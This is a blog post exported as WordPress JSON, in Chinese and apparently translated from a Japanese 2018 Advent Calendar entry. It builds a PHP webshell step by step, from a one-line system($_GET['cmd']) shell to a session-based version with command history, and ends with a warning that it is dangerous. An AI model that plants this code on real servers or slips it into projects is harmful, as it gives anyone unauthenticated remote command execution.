{"id":30812,"date":"2024-02-19T06:25:59","date_gmt":"2023-02-26T09:01:53","guid":{"rendered":"https:\/\/www.silicloud.com\/zh\/blog\/%e7%94%a8php%e7%bc%96%e5%86%99webshell\/"},"modified":"2025-08-12T20:55:46","modified_gmt":"2025-08-12T12:55:46","slug":"%e7%94%a8php%e7%bc%96%e5%86%99webshell","status":"publish","type":"post","link":"https:\/\/www.silicloud.com\/zh\/blog\/%e7%94%a8php%e7%bc%96%e5%86%99webshell\/","title":{"rendered":"\u7528PHP\u7f16\u5199webshell"},"content":{"rendered":"<p>\u73b0\u5728\u662f2018\u5e74IT\u5723\u8bde\u8282\u65e5\u5386\u7684\u7b2c21\u5929\u3002<\/p>\n<p>\u6211\u6253\u7b97\u7f16\u5199\u4e00\u4e2a\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u7684PHP\u7a0b\u5e8f\u3002<\/p>\n<p>\u5c06\u8fd9\u4e2a\u7a0b\u5e8f\u653e\u5728\u53ef\u4ee5\u88ab\u522b\u4eba\u8bbf\u95ee\u7684\u670d\u52a1\u5668\u4e0a\u662f\u5371\u9669\u7684\u3002\u5728\u6267\u884c\u65f6\u8bf7\u5c0f\u5fc3\u3002<\/p>\n<h1>\u73af\u5883<\/p>\n<p>\u64cd\u4f5c\u7cfb\u7edf\uff1aWindows10<br \/>\nXAMPP\u7248\u672c\uff1a7.2.7<br \/>\nPHP\u7248\u672c\uff1a7.2.7<br \/>\nApache\u7248\u672c\uff1a2.4.33<\/p>\n<h1>\u9996\u5148\u521b\u5efa\u4e00\u4e2a\u80fd\u591f\u6267\u884c\u547d\u4ee4\u7684\u4e1c\u897f\u3002<\/p>\n<h3>\u83b7\u53d6<\/p>\n<pre class=\"post-pre\"><code><span class=\"nt\">&lt;pre&gt;<\/span><span class=\"cp\">&lt;?php<\/span> <span class=\"nb\">system<\/span><span class=\"p\">(<\/span><span class=\"nv\">$_GET<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"cmd\"<\/span><span class=\"p\">]);<\/span><span class=\"cp\">?&gt;<\/span><span class=\"nt\">&lt;\/pre&gt;<\/span>\r\n<\/code><\/pre>\n<p>\u901a\u8fc7system($_GET[&#8220;cmd&#8221;])\u6267\u884c\u5e76\u663e\u793a\u4eceGET\u8bf7\u6c42\u4e2d\u63a5\u6536\u7684\u547d\u4ee4\u3002\u5c06\u53c2\u6570\u9644\u52a0\u5230URL\u4e2d\uff0c\u53d1\u9001\u547d\u4ee4\u3002<\/p>\n<h6>\u53d1\u9001date\u547d\u4ee4<\/p>\n<div>\n                            <img decoding=\"async\" src=\"https:\/\/cdn.silicloud.com\/blog-img\/blog\/img\/657d095037434c4406be1eeb\/10-0.png\" class='post-images' alt=\"get_webshell (2).png\" title=\"\"><\/p>\n<h3>\u90ae\u5bc4<\/p>\n<pre class=\"post-pre\"><code><span class=\"nt\">&lt;pre&gt;<\/span><span class=\"cp\">&lt;?php<\/span> <span class=\"nb\">system<\/span><span class=\"p\">(<\/span><span class=\"nv\">$_POST<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"cmd\"<\/span><span class=\"p\">]);<\/span><span class=\"cp\">?&gt;<\/span><span class=\"nt\">&lt;\/pre&gt;<\/span>\r\n<span class=\"nt\">&lt;form<\/span> <span class=\"na\">method=<\/span><span class=\"s\">\"POST\"<\/span><span class=\"nt\">&gt;&lt;input<\/span> <span class=\"na\">autofocus<\/span> <span class=\"na\">type=<\/span><span class=\"s\">\"text\"<\/span> <span class=\"na\">name=<\/span><span class=\"s\">\"cmd\"<\/span><span class=\"nt\">&gt;&lt;\/form&gt;<\/span>\r\n<\/code><\/pre>\n<p>\u6dfb\u52a0\u4e00\u4e2a\u6587\u672c\u6846\uff0c\u5e76\u901a\u8fc7POST\u65b9\u5f0f\u53d1\u9001\u547d\u4ee4\u3002<\/p>\n<h6>\u6267\u884ctime\u547d\u4ee4<\/p>\n<div>\n                            <img decoding=\"async\" src=\"https:\/\/cdn.silicloud.com\/blog-img\/blog\/img\/657d095037434c4406be1eeb\/15-0.png\" class='post-images' alt=\"post_wevshell (2).PNG\" title=\"\"><\/p>\n<h1>\u589e\u52a0\u529f\u80fd<\/p>\n<p>\u7531\u4e8e\u76ee\u524d\u72b6\u6001\u6709\u70b9\u56f0\u96be\u7406\u89e3\uff0c\u6240\u4ee5\u6211\u5c1d\u8bd5\u5b9e\u73b0\u4e86\u80fd\u591f\u663e\u793a\u5f53\u524d\u76ee\u5f55\u548c\u547d\u4ee4\u5386\u53f2\u8bb0\u5f55\u7684\u529f\u80fd\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"cp\">&lt;?php<\/span>\r\n<span class=\"nb\">session_start<\/span><span class=\"p\">();<\/span>\r\n\r\n<span class=\"nv\">$rpath1<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[<\/span><span class=\"s2\">\" .\/\"<\/span><span class=\"p\">,<\/span> <span class=\"s2\">\" .<\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">\"<\/span><span class=\"p\">];<\/span>\r\n<span class=\"nv\">$rpath2<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[<\/span><span class=\"s2\">\" ..\/\"<\/span><span class=\"p\">,<\/span> <span class=\"s2\">\" ..<\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">\"<\/span><span class=\"p\">];<\/span>\r\n\r\n<span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"nv\">$_POST<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"cmd\"<\/span><span class=\"p\">])<\/span> <span class=\"p\">{<\/span>\r\n    <span class=\"nv\">$cmd<\/span><span class=\"o\">=<\/span> <span class=\"nv\">$_POST<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"cmd\"<\/span><span class=\"p\">];<\/span>\r\n    <span class=\"c1\">\/\/\u76f8\u5bfe\u30d1\u30b9\u306e\u7f6e\u304d\u63db\u3048<\/span>\r\n    <span class=\"nv\">$cmd<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">str_replace<\/span> <span class=\"p\">(<\/span><span class=\"nv\">$rpath1<\/span><span class=\"p\">,<\/span> <span class=\"s2\">\" \"<\/span><span class=\"mf\">.<\/span><span class=\"nb\">trim<\/span><span class=\"p\">(<\/span><span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"path\"<\/span><span class=\"p\">])<\/span><span class=\"mf\">.<\/span><span class=\"s2\">\"<\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">\"<\/span><span class=\"p\">,<\/span> <span class=\"nv\">$cmd<\/span><span class=\"p\">);<\/span>\r\n    <span class=\"nv\">$cmd<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">str_replace<\/span> <span class=\"p\">(<\/span><span class=\"nv\">$rpath2<\/span><span class=\"p\">,<\/span> <span class=\"s2\">\" \"<\/span><span class=\"mf\">.<\/span><span class=\"nb\">trim<\/span><span class=\"p\">(<\/span><span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"path\"<\/span><span class=\"p\">])<\/span><span class=\"mf\">.<\/span><span class=\"s2\">\"<\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">..<\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">\"<\/span><span class=\"p\">,<\/span> <span class=\"nv\">$cmd<\/span><span class=\"p\">);<\/span>\r\n    <span class=\"nv\">$cmd<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">str_replace<\/span> <span class=\"p\">(<\/span><span class=\"s2\">\":<\/span><span class=\"se\">\\\\\\\\<\/span><span class=\"s2\">\"<\/span><span class=\"p\">,<\/span> <span class=\"s2\">\":<\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">\"<\/span><span class=\"p\">,<\/span> <span class=\"nv\">$cmd<\/span><span class=\"p\">);<\/span>\r\n    <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"nv\">$_POST<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"cmd\"<\/span><span class=\"p\">]<\/span> <span class=\"o\">===<\/span> <span class=\"s2\">\"session_reset\"<\/span><span class=\"p\">)<\/span> <span class=\"p\">{<\/span>\r\n        <span class=\"c1\">\/\/session_reset\u3068\u5165\u529b\u3059\u308b\u3053\u3068\u3067\u30ea\u30bb\u30c3\u30c8\u3059\u308b<\/span>\r\n        <span class=\"nv\">$_SESSION<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[];<\/span>\r\n    <span class=\"p\">}<\/span> <span class=\"k\">elseif<\/span> <span class=\"p\">(<\/span><span class=\"nb\">preg_match<\/span><span class=\"p\">(<\/span><span class=\"s2\">\"\/^cd\\s\/i\"<\/span><span class=\"p\">,<\/span> <span class=\"nv\">$_POST<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"cmd\"<\/span><span class=\"p\">]))<\/span> <span class=\"p\">{<\/span>\r\n        <span class=\"c1\">\/\/ cd \u30b3\u30de\u30f3\u30c9\u3067\u30ab\u30ec\u30f3\u30c8\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u66f4\u65b0<\/span>\r\n        <span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"history\"<\/span><span class=\"p\">]<\/span> <span class=\"mf\">.<\/span><span class=\"o\">=<\/span> <span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"path\"<\/span><span class=\"p\">]<\/span><span class=\"mf\">.<\/span><span class=\"s2\">\"&lt;br&gt;&gt;\"<\/span><span class=\"mf\">.<\/span><span class=\"nv\">$_POST<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"cmd\"<\/span><span class=\"p\">]<\/span><span class=\"mf\">.<\/span><span class=\"s2\">\"&lt;br&gt;\"<\/span><span class=\"p\">;<\/span>\r\n        <span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"path\"<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">shell_exec<\/span><span class=\"p\">(<\/span><span class=\"nv\">$cmd<\/span><span class=\"mf\">.<\/span><span class=\"s2\">\" &amp; @cd\"<\/span><span class=\"p\">);<\/span>\r\n    <span class=\"p\">}<\/span> <span class=\"k\">else<\/span> <span class=\"p\">{<\/span>\r\n        <span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"history\"<\/span><span class=\"p\">]<\/span> <span class=\"mf\">.<\/span><span class=\"o\">=<\/span> <span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"path\"<\/span><span class=\"p\">]<\/span><span class=\"mf\">.<\/span><span class=\"s2\">\"&lt;br&gt;&gt;\"<\/span><span class=\"mf\">.<\/span><span class=\"nv\">$_POST<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"cmd\"<\/span><span class=\"p\">]<\/span><span class=\"mf\">.<\/span><span class=\"s2\">\"&lt;br&gt;&lt;pre&gt;\"<\/span><span class=\"mf\">.<\/span><span class=\"nb\">htmlspecialchars<\/span><span class=\"p\">(<\/span><span class=\"nb\">mb_convert_encoding<\/span><span class=\"p\">(<\/span><span class=\"nb\">shell_exec<\/span><span class=\"p\">(<\/span><span class=\"nv\">$cmd<\/span><span class=\"p\">),<\/span> <span class=\"s2\">\"UTF-8\"<\/span><span class=\"p\">),<\/span> <span class=\"no\">ENT_QUOTES<\/span><span class=\"p\">,<\/span> <span class=\"s2\">\"UTF-8\"<\/span><span class=\"p\">,<\/span> <span class=\"kc\">true<\/span><span class=\"p\">)<\/span><span class=\"mf\">.<\/span><span class=\"s2\">\"&lt;\/pre&gt;\"<\/span><span class=\"p\">;<\/span>\r\n    <span class=\"p\">}<\/span>\r\n<span class=\"p\">}<\/span>\r\n<span class=\"cp\">?&gt;<\/span>\r\n<span class=\"cp\">&lt;!DOCTYPE html&gt;<\/span>\r\n<span class=\"nt\">&lt;html<\/span> <span class=\"na\">lang=<\/span><span class=\"s\">\"ja\"<\/span><span class=\"nt\">&gt;<\/span>\r\n<span class=\"nt\">&lt;head&gt;<\/span>\r\n    <span class=\"nt\">&lt;meta<\/span> <span class=\"na\">charset=<\/span><span class=\"s\">\"UTF-8\"<\/span><span class=\"nt\">&gt;<\/span>\r\n    <span class=\"nt\">&lt;title&gt;<\/span>WebShell<span class=\"nt\">&lt;\/title&gt;<\/span>\r\n<span class=\"nt\">&lt;\/head&gt;<\/span>\r\n<span class=\"nt\">&lt;body&gt;<\/span>\r\n    <span class=\"cp\">&lt;?php<\/span> \r\n        <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"nb\">empty<\/span><span class=\"p\">(<\/span><span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"history\"<\/span><span class=\"p\">]))<\/span> <span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"history\"<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">\"\"<\/span><span class=\"p\">;<\/span>\r\n        <span class=\"k\">if<\/span> <span class=\"p\">(<\/span><span class=\"nb\">empty<\/span><span class=\"p\">(<\/span><span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"path\"<\/span><span class=\"p\">]))<\/span> <span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"path\"<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">shell_exec<\/span><span class=\"p\">(<\/span><span class=\"s2\">\"@cd\"<\/span><span class=\"p\">);<\/span>\r\n        <span class=\"k\">echo<\/span> <span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"history\"<\/span><span class=\"p\">];<\/span>    \r\n        <span class=\"k\">echo<\/span> <span class=\"nv\">$_SESSION<\/span><span class=\"p\">[<\/span><span class=\"s2\">\"path\"<\/span><span class=\"p\">]<\/span> \r\n    <span class=\"cp\">?&gt;<\/span>\r\n    <span class=\"nt\">&lt;form<\/span> <span class=\"na\">method=<\/span><span class=\"s\">\"POST\"<\/span><span class=\"nt\">&gt;<\/span>\r\n        &gt;<span class=\"nt\">&lt;input<\/span> <span class=\"na\">autofocus<\/span> <span class=\"na\">type=<\/span><span class=\"s\">\"text\"<\/span> <span class=\"na\">name=<\/span><span class=\"s\">\"cmd\"<\/span><span class=\"nt\">&gt;<\/span>\r\n    <span class=\"nt\">&lt;\/form&gt;<\/span>\r\n<span class=\"nt\">&lt;\/body&gt;<\/span>\r\n<span class=\"nt\">&lt;\/html&gt;<\/span>\r\n<\/code><\/pre>\n<p>\u4f7f\u7528\u4f1a\u8bdd\uff0c\u4fdd\u5b58\u6267\u884c\u7684\u547d\u4ee4\u548c\u5f53\u524d\u76ee\u5f55\u3002<\/p>\n<div>\n                            <img decoding=\"async\" src=\"https:\/\/cdn.silicloud.com\/blog-img\/blog\/img\/657d095037434c4406be1eeb\/20-0.png\" class='post-images' alt=\"webshell.PNG\" title=\"\"><\/p>\n<h3>\u6dfb\u52a0CSS<\/p>\n<p>\u65e2\u7136\u8fd9\u6837\uff0c\u6211\u4e5f\u4f1a\u6539\u53d8\u5916\u89c2\u3002<br \/>\n\u6211\u4f1a\u5728<head>\u6807\u7b7e\u4e0b\u6dfb\u52a0\u4ee5\u4e0b\u5185\u5bb9\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"nt\">&lt;style&gt;<\/span>\r\n    <span class=\"o\">*<\/span><span class=\"p\">{<\/span>\r\n        <span class=\"nl\">color<\/span><span class=\"p\">:<\/span> <span class=\"m\">#00ff00<\/span><span class=\"p\">;<\/span>\r\n        <span class=\"nl\">font-size<\/span><span class=\"p\">:<\/span> <span class=\"m\">15px<\/span><span class=\"p\">;<\/span>\r\n        <span class=\"nl\">font-family<\/span><span class=\"p\">:<\/span> <span class=\"n\">Hack<\/span><span class=\"p\">,<\/span> <span class=\"nb\">monospace<\/span><span class=\"p\">;<\/span>\r\n    <span class=\"p\">}<\/span>\r\n    <span class=\"nt\">body<\/span><span class=\"p\">{<\/span>\r\n        <span class=\"nl\">background-color<\/span><span class=\"p\">:<\/span> <span class=\"m\">#000000<\/span><span class=\"p\">;<\/span>\r\n    <span class=\"p\">}<\/span>\r\n    <span class=\"nt\">input<\/span><span class=\"p\">{<\/span>\r\n        <span class=\"nl\">border<\/span><span class=\"p\">:<\/span> <span class=\"m\">0px<\/span><span class=\"p\">;<\/span>\r\n        <span class=\"nl\">background-color<\/span><span class=\"p\">:<\/span> <span class=\"nb\">transparent<\/span><span class=\"p\">;<\/span>\r\n    <span class=\"p\">}<\/span>\r\n<span class=\"nt\">&lt;\/style&gt;<\/span>\r\n<\/code><\/pre>\n<div>\n                            <img decoding=\"async\" src=\"https:\/\/cdn.silicloud.com\/blog-img\/blog\/img\/657d095037434c4406be1eeb\/24-0.png\" class='post-images' alt=\"green_webshell.PNG\" title=\"\"><\/p>\n<h1>\u6700\u5f8c<\/p>\n<p>\u6211\u5728\u5f00\u5934\u5df2\u7ecf\u63d0\u5230\uff0c\u7531\u4e8e\u5c06\u6b64\u7a0b\u5e8f\u653e\u7f6e\u5728\u4ed6\u4eba\u53ef\u4ee5\u8bbf\u95ee\u7684\u670d\u52a1\u5668\u4e0a\u53ef\u80fd\u5b58\u5728\u5371\u9669\uff0c\u56e0\u6b64\u5728\u6267\u884c\u65f6\u8bf7\u52a1\u5fc5\u5c0f\u5fc3\u3002<\/p>\n<hr>\n<\/hr>\n<p>\u867d\u7136\u6211\u662fPHP\u7684\u65b0\u624b\uff0c\u65e0\u6cd5\u5f88\u597d\u5730\u5b9e\u73b0\u5b83\uff0c\u4f46\u81f3\u5c11\u80fd\u6dfb\u52a0\u4e86\u6700\u57fa\u672c\u7684\u529f\u80fd\uff0c\u8fd9\u662f\u5f88\u597d\u7684\u3002<br \/>\n\u4ee5\u4e0a\u662f\u300aMake IT Advent Calendar 2018\u300b\u7b2c21\u5929\u7684\u6587\u7ae0\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u73b0\u5728\u662f2018\u5e74IT\u5723\u8bde\u8282\u65e5\u5386\u7684\u7b2c21\u5929\u3002 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